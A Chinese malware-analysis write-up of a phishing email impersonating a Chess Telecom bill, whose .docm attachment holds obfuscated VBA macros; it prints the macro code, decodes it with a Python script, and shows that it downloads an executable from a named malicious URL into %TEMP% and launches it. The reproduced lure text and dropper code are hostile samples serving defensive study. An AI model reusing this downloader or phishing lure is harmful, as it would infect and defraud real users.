技术分析:一款流行的VBA宏病毒（vba宏是什么）

1.通过邮件传播的宏病毒

近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本，其邮件头如下：

邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容)：

Your bill summary

Account number: 24583

Invoice Number: 2398485

Bill date: July 2015

Amount: lb17.50

How can I view my bills?

Your Chess bill is ready and waiting for you online. To check out your deta=ledbill, previous bills and any charges you've incurred since your last b=ll, just sign into My Account www.chesstelecom.com/myaccount Forgotten your sign in details?

If you've forgotten your sign in details, no problem, you can reset these b= choosing http://www.chesstelecom.com/lost_password.

Making payments is easy!

If you want to make a credit or debit card payment you can do online by cho=sing http://www.chesstelecom.com/online_payment

You don't need to do anything if you pay by direct debit, we will collect y=ur payment automatically on or after 30th June. If you pay by cheque, deta=ls of how to pay us are available on the invoice.

Switch to Direct Debit today and you'll save at least lb60.00 a year, s=mply call our dedicated team on 0844 770 6060.

Anything else you'd like to know?

......

This e-mail has been sent from a Mailbox belonging to Chess Telecom, registered office Bridgford House, Heyes Lane, Alderley Edge, Cheshire, SK9=7JP.

Registered in England, number 2797895. Its contents are confidential to the=20 intended recipient.

If you receive in error, please notify Chess Telecom on

+44 (0)800 019 8900 immediately quoting the name of the sender, the

+email

addressto which it has been sent and then delete it; you may not rely on i=s contents nor copy/disclose it to anyone.

Opinions, conclusions and statements

of intent in this email are those of the sender and will not bind Chess Tel=com unless confirmed by an authorised representative independently of this mess=ge.

We do not accept responsibility for viruses; you must scan for these.

Please

notethat emails sent to and from Chess Telecom are routinely monitored for=20 record keeping, quality control and training purposes, to ensure regulatory=20 compliance and to prevent viruses and unauthorised use of our computer systems.

Thank you for your co-operation.

Quotations are subject to terms and conditions, exclude VAT and are subject to sitesurvey.

E&OE

上述邮件正文：描述内容看起来相当的可靠，里面的电话号码都是真实的，并且给出了具体的公司名称地址，而且这个公司还真是具体存在的，现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…)，之所以这么逼真，只是恶意邮件发送者希望以此来降低受害者的防备意识。

2.提取宏代码

我们主要分析的邮件的附件，通过Outlook的保存功能可以将邮件中的附件2015-07-Bill.docm保存出来，我们分析需要用到一个工具OfficeMalScanner，可以到这里下载。

提取宏代码的步骤如下：

2.1 解压

OfficeMalScanner.exe 2015-07-Bill.docm inflate

解压后将会默认保存到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\
DecompressedMsOfficeDocument目录下面(WinXP SP3环境),解压后的目录大致如下：

│ [Content_Types].xml

│

├─docProps

│ app.xml

│ core.xml

│

├─word

│ │ document.xml

│ │ fontTable.xml

│ │ settings.xml

│ │ styles.xml

│ │ vbaData.xml

│ │ vbaProject.bin

│ │ webSettings.xml

│ │

│ ├─theme

│ │ theme1.xml

│ │

│ └─_rels

│ document.xml.rels

│ vbaProject.bin.rels

│

└─_rels

上面的文档目录结构中可以发现在word目录下含有一个vbaProject.bin的文件，这就是宏文件代码所在的地方，需要注意的是vbaProject名字是可以任意取的，并不一定就是vbaProject(为默认的宏文件名字)。接下来从vbaProject.bin文件中提取宏代码。

2.2 提取

OfficeMalScanner.exe vbaProject.bin info

默认会在vbaProject.bin同目录下生成一个文件夹VBAPROJECT.BIN-Macros，里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下：

Module1

Module2

Module35

Module4

ThisDocument

上面的文件都是vb代码，只不过去掉了后缀而已。接着的工作就是分析vb代码，看一下具体做了什么。

3.代码分析

为了便于说明,并没有按照模块的顺序来说明。

3.1 Module2代码分析

Module2的代码如下：

1 Attribute VB_Name = "Module2"

2

3 Function init

4

5 Set thisfrm = Forms("main")

6

7 frmWidth = thisfrm.InsideWidth

8 frmHeight = thisfrm.InsideHeight

9

10 End Function

11 Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String)

12 L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")

13 Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM)

14 End Function

15 Private Sub button_physical_inventory_Click

16 On Error GoTo Err_button_physical_inventory_Click

17

18 strSQLWhere = Me.combo_department_name.Value

19 stDocName = "physical_inventory"

20 DoCmd.OpenReport stDocName, acPreview

21

22 Exit_button_physical_inventory_Click:

23 Exit Sub

24

25 Err_button_physical_inventory_Click:

26 MsgBox Err.Description

27 Resume Exit_button_physical_inventory_Click

28

29 End Sub

主要看[11-14]行代码，如下：

Public Function lLJrFk6pKsSYJ(L9QLFPTuZDwM As String)

L9QLFPTuZDwM = Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")

Set lLJrFk6pKsSYJ = CreateObject(L9QLFPTuZDwM)

End Function

函数中的主要语句Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), "")，其中的Chr(60),chr(61),Chr(59)分别对应于<,=,;,这些就是被替换的字符，替换的字符是""(NULL,也就是删除了原有字符)。

因此本模块的主要功能，是提供一个解密函数lLJrFk6pKsSYJ(string)，将string中的"<,=,;"删除得到真正的字符串。

3.2 模块Module1模块分析

Module1的代码如下：

1 Attribute VB_Name = "Module1"

2

3 Private Sub Form_Load

4 Me.RecordSource = strSQLInventory

5

6 If Me.boxes > 0 Or Me.pieces > 0 Then

7 Me.total = (strInventoryCount * Me.boxes) + Me.pieces

8 Else

9 Me.total = Me.pieces

10 End If

11

12 End Sub

13

14 Private Sub boxes_LostFocus

15 If Me.boxes > 0 Then

16 Me.total = strInventoryCount * Me.boxes

17 End If

18 End Sub

19

20 Public Function FlvXHsDrWT3aY(yXhBaz0XR As Variant, c7e410X3Qq As String)

21 Dim NLobhieCn4Xt: Set NLobhieCn4Xt = lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m")

22

23 With NLobhieCn4Xt

24 .Type = 1

25 .Open

26 .write yXhBaz0XR

27 End With

28NLobhieCn4Xt.savetofile c7e410X3Qq, 2

29 End Function

30 Private Sub pieces_LostFocus

31 If Me.boxes > 0 Or Me.pieces > 0 Then

32 Me.total = (strInventoryCount * Me.boxes) + Me.pieces

33 Else

34 Me.total = Me.pieces

35 End If

36 End Sub

37

38 Private Sub btn_save_Click

39 DoCmd.Save

40 End Sub

主要看[20-29]代码段，如下：

Public Function FlvXHsDrWT3aY(yXhBaz0XR As Variant, c7e410X3Qq As String)

Dim NLobhieCn4Xt: Set NLobhieCn4Xt = lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m")

With NLobhieCn4Xt

.Type = 1

.Open

.write yXhBaz0XR

End With

NLobhieCn4Xt.savetofile c7e410X3Qq, 2

End Function

主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名)，其语句为:

lLJrFk6pKsSYJ("A" & Chr(60) & Chr(100) & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & "e" & Chr(97) & Chr(59) & "m")

可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ，对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用，因此手工解密后得到：

A

删除其中的"空格 ; < =",得到真正的命令：Adodb.Stream。进一步分析可以得到该函数的作用为：

采用adodb.stream流，将字节数组写入指定文件中。

稍后我将会提供一个Python脚本对这些命令进行解密，还原出宏代码的真正命令。

3.3 Module4模块分析

1 Attribute VB_Name = "Module4"

2

3 Public ctlWidth As Integer

4 Public ctlHeight As Integer

5 Public aDPbd2byZb As String

6 Public strSQLBase As String 'query base

7 Public objSearchForm As String 'require form name

8 Public objInputCode As String 'text field for product code entry

9 Public objInputName As String 'text field for product name entry

10 Public searchCode As String

11 Public searchName As String

12 Public colS1 As String 'column to search

13 Public colS2 As String 'column to search

14

15 Function search_records

16

17 'check form controls if they have user input

18 If Not IsNull(Forms(objSearchForm).Controls(objInputCode)) Then

19 searchCode = Forms(objSearchForm).Controls(objInputCode)

20 Else

21 searchCode = ""

22 End If

23

24 If Not IsNull(Forms(objSearchForm).Controls(objInputName)) Then

25 searchName = Forms(objSearchForm).Controls(objInputName)

26 Else

27 searchName = ""

28 End If

29

30 'main search logic

31 If (searchCode = "" And searchName = "") Or (IsNull(searchCode) And IsNull(searchName)) Then

32 strSQLSearch = strSQLBase

33 ElseIf (Not IsNull(searchCode) = True) And (Not IsNull(searchName) = True) Then

34 strSQLSearch = strSQLBase & " WHERE " & colS1 & " LIKE '" & searchCode & "*' AND " & colS2 & " LIKE '*" & searchName & "*'"

35 ElseIf Not IsNull(searchCode) Then

36 strSQLSearch = strSQLBase & " WHERE " & colS1 & " LIKE '" & searchCode & "*'"

37 ElseIf Not IsNull(searchName) Then

38 strSQLSearch = strSQLBase & " WHERE " & colS2 & " LIKE '*" & searchName & "*'"

39 Else

40 MsgBox "Please provide details to search"

41 Exit Function

42 End If

43

44 Forms(objSearchForm).RecordSource = strSQLSearch

45

46 End Function

47 Function control_set_left(controlName As String)

48

49 thisfrm.Controls(controlName).Left = 720

50

51 End Function

52

53 Sub LWS8UPvw1QGKq

54

55 Nrh1INh1S5hGed = Chr(104) & Chr(116) & Chr(61) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(108) & Chr(97) & Chr(98) & Chr(111) & "a" & Chr(60) & Chr(117) & "d" & Chr(105) & Chr(111) & Chr(46) & Chr(61) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & Chr(52) & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & "e" & Chr(61) & Chr(120) & Chr(101)

'下载方式:LhZitls7wPn=Microsoft.XMLHTTP

56 Set LhZitls7wPn = lLJrFk6pKsSYJ("M" & "i" & Chr(60) & Chr(99) & Chr(114) & Chr(111) & Chr(61) & "s" & Chr(111) & "f" & Chr(116) & ";" & Chr(46) & "X" & Chr(77) & Chr(60) & "L" & Chr(59) & Chr(72) & "T" & Chr(61) & Chr(84) & "P")

57

58 Nrh1INh1S5hGed = Replace(Replace(Replace(Nrh1INh1S5hGed, Chr(60), ""), Chr(61), ""), Chr(59), "")

'使用CallByName进行下载:CallByName Microsoft.XMLHTTP Open
http://laboaudio.com/4tf33w/w4t453.exe

59 CallByName LhZitls7wPn, Chr(79) & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _

60 Nrh1INh1S5hGed _

61 , False

62

'vu2Wh85645xcP0=WScript.Shell

63 Set vu2Wh85645xcP0 = lLJrFk6pKsSYJ(Chr(87) & "<" & Chr(83) & "c" & Chr(61) & Chr(114) & "i" & Chr(112) & "t" & Chr(59) & Chr(46) & Chr(83) & "=" & Chr(104) & "e" & "<" & "l" & Chr(108))

64

'获取查询环境变量的句柄: GhbwRqU9OkbF=CallByName(WScript,Environmentrocess)

65 Set GhbwRqU9OkbF = CallByName(vu2Wh85645xcP0, Chr(69) & Chr(110) & "v" & Chr(105) & Chr(114) & Chr(111) & "n" & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & "r" & "o" & Chr(99) & "e" & Chr(115) & "s")

66

'取得临时目录的路径:GhbwRqU9OkbF(TEMP)

67 SD3q5HdXxoiA = GhbwRqU9OkbF(Chr(84) & Chr(69) & Chr(77) & Chr(80))

68

'下载的恶意程序存放路径:aDPbd2byZb=%TEMP%\fghgkbb.exe

69 aDPbd2byZb = SD3q5HdXxoiA & "\" & Chr(102) & Chr(103) & Chr(104) & Chr(103) & Chr(107) & Chr(98) & Chr(98) & Chr(46) & "e" & "x" & Chr(101)

70 Dim bvGEpxCVsZ As Byte

71

'发送请求:CallByName Microsoft.XMLHTTP send VbMethod

72 CallByName LhZitls7wPn, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod

'获取响应体:CallByName Microsoft.XMLHTTP responseBody VbGet

73 bvGEpxCVsZ = CallByName(LhZitls7wPn, "r" & "e" & Chr(115) & Chr(112) & Chr(111) & Chr(110) & Chr(115) & Chr(101) & Chr(66) & Chr(111) & Chr(100) & "y", VbGet)

'使用adodb.stream流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中

'将字节数组bvGEpxCVsZ写入文件aDPbd2byZb'

'这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名)

74 FlvXHsDrWT3aY bvGEpxCVsZ, aDPbd2byZb

75 On Error GoTo OhXhZLRKh

76 a = 84 / 0

77 On Error GoTo 0

78

79 xrIvr6mOXvFG:

80 Exit Sub

81 OhXhZLRKh:

82 ENMD3t8EY4A ("UfBPGay4VPJi")

83 Resume xrIvr6mOXvFG

84 End Sub

85 Function control_set_right(controlName As String)

86

87 ctlWidth = thisfrm.Controls(controlName).Width

88 thisfrm.Controls(controlName).Left = frmWidth - ctlWidth - 720

89

90 End Function

91

92 Function control_set_center(controlName As String)

93

94 ctlWidth = thisfrm.Controls(controlName).Width

95 thisfrm.Controls(controlName).Left = (frmWidth / 2) - (ctlWidth / 2)

96

97

98 End Function

主要看[53-90]行，分析函数LWS8UPvw1QGKq的作用，为了了解这个函数到底干了什么，我们需要对其解密，上面的两个模块由于函数较短，可以进行手工解密，然而由于这个模块中要解密的太多,

手工解密显然是一种繁琐效率低下的方式，故给出如下Python代码(Python3)：

import sys

import io

import re

sys.stdout=io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')

def decryptstr(s):

cmd=''

cmdlst=s.strip.split('&')

pat=re.compile(r"Chr\([0-9]*\)")

for item in cmdlst:

if 'Chr' in item:

beg,end=item.find('('),item.find(')')

numstr=item[beg+1:end]

cmd+=chr(int(numstr))

else:

cmd+=item.replace('"','')

cmd=cmd.replace(' ','')

cmd=cmd.replace('=','')

cmd=cmd.replace(';','')

cmd=cmd.replace('<','')

print(cmd)

ss=input("Input String:")

while len(ss)!=0:

print(decryptstr(ss))

ss=input("Input String:")

代码比较少也比较简单，就没有写注释了。用法看下图就可以了：

;

Input String：后面粘贴上要解密的字符串,然后回车就可以得到解密后的字符串。

代码中也加入了注释，理解这块代码应该不难。可以知道该模块从
http://laboaudio.com/4tf33w/w4t453.exe下载得到恶意程序w4t453.exe，以fghgkbb.exe文件名保存到临时目录。

3.4 ThisDocument模块分析

该模块主要代码如下(不像上面都给出了完整代码，而是仅仅给出了核心代码，如果希望查看完整代码的,可以到文末下载附件)：

Public Function ENMD3t8EY4A(Ka0YAlL82q As String)

'Shell.Application:创建了一个shell对象

Set CYgAH0pzCPj0eA = lLJrFk6pKsSYJ(Chr(83) & Chr(104) & "=" & Chr(101) & Chr(108) & Chr(59) & Chr(108) & Chr(60) & Chr(46) & Chr(65) & Chr(112) & Chr(59) & Chr(112) & Chr(108) & "i" & Chr(60) & "c" & "a" & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110))

With CYgAH0pzCPj0eA

'open(C:\DOCUME~1\USERNAME\LOCALS~1\Temp\fghgkbb.exe):启动恶意程序

.Open (aDPbd2byZb)

也就是启动下载的恶意程序。

另外，还有一个Module35模块，我没有进行说明，因为Module35基本上没有提供有用的信息，可以忽略，并不影响我们分析该宏的功能。

4.结论

至此,我们可以知道，该宏代码通过邮件进行传播，当用户使用word打开邮件中的附件，启用宏代码的时候，恶意代码将会首先到
http://laboaudio.com/4tf33w/下载w4t453.exe到受害者的临时目录，保存的名字为fghgkbb.exe，然后启动该恶意程序。这个时候用户就中病毒了。

文末，还是提醒一下大家，对于陌生邮件，一定要慎重的打开，很多人对于邮件，什么都没有想，就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染，但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。

另外由于Office安全机制的提升，在Word2007版本以上，打开一个有宏文件的文档时，会提示是否启用，这个时候不要随意选择启用(可能这看起来是废话，但是很多人下意识就去点击了启用)。

如果你希望自己亲自分析一下，你可以到这里下载本案例中的邮件。解压密码为:freebuf

希望本文对信息安全行业的人员有所帮助。